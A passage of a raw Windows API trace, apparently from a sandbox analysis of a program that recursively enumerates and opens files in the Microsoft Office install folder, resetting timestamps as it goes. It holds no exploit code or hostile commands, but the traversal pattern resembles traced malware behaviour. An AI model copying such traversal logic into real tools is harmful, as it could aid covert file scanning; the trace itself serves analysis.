ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0070.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f1ac150, ftCreationTime.dwHighDateTime=0x1d56101, ftLastAccessTime.dwLowDateTime=0xe2079880, ftLastAccessTime.dwHighDateTime=0x1d56926, ftLastWriteTime.dwLowDateTime=0xe2079880, ftLastWriteTime.dwHighDateTime=0x1d56926, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="spgagentservice.exe", cAlternateFileName="")) returned 1 [0070.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 1 [0070.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 1 [0070.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 0 [0070.472] GetLastError () returned 0x12 [0070.472] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9100 [0070.472] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0070.472] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.472] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0070.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.472] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART" (normalized: "c:\\program files\\microsoft office\\clipart"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART" (normalized: "c:\\program files\\microsoft office\\clipart"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0070.879] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0070.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa27480 [0070.891] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa27480, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xa27480, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0070.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa27480) returned 1 [0070.901] NtClose (Handle=0x164) returned 0x0 [0070.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa255a8 [0070.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25630 [0070.931] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0070.946] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.952] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0070.954] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="")) returned 1 [0070.957] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="")) returned 0 [0070.959] GetLastError () returned 0x12 [0070.960] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9140 [0070.962] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0070.962] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.962] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0070.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0070.963] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0070.963] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0070.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa27480 [0070.963] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa27480, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa27480, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0070.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa27480) returned 1 [0070.963] NtClose (Handle=0x164) returned 0x0 [0070.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0070.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0070.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa257c8 [0070.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.964] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0071.143] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.407] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0071.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20770 [0071.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa258d8 [0071.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x1080) returned 0xa27480 [0071.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa1f530) returned 1 [0071.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.408] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0071.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20790 [0071.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25960 [0071.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.408] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0071.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa207b0 [0071.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa259e8 [0071.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.409] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0071.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa207d0 [0071.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25a70 [0071.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.409] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0071.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa207f0 [0071.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25af8 [0071.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.410] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0071.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20810 [0071.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25b80 [0071.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.410] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0071.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20830 [0071.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25c08 [0071.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.411] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0071.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20850 [0071.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25c90 [0071.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.411] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0071.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20870 [0071.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25d18 [0071.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.412] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0071.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20890 [0071.412] RtlAllocateHeap 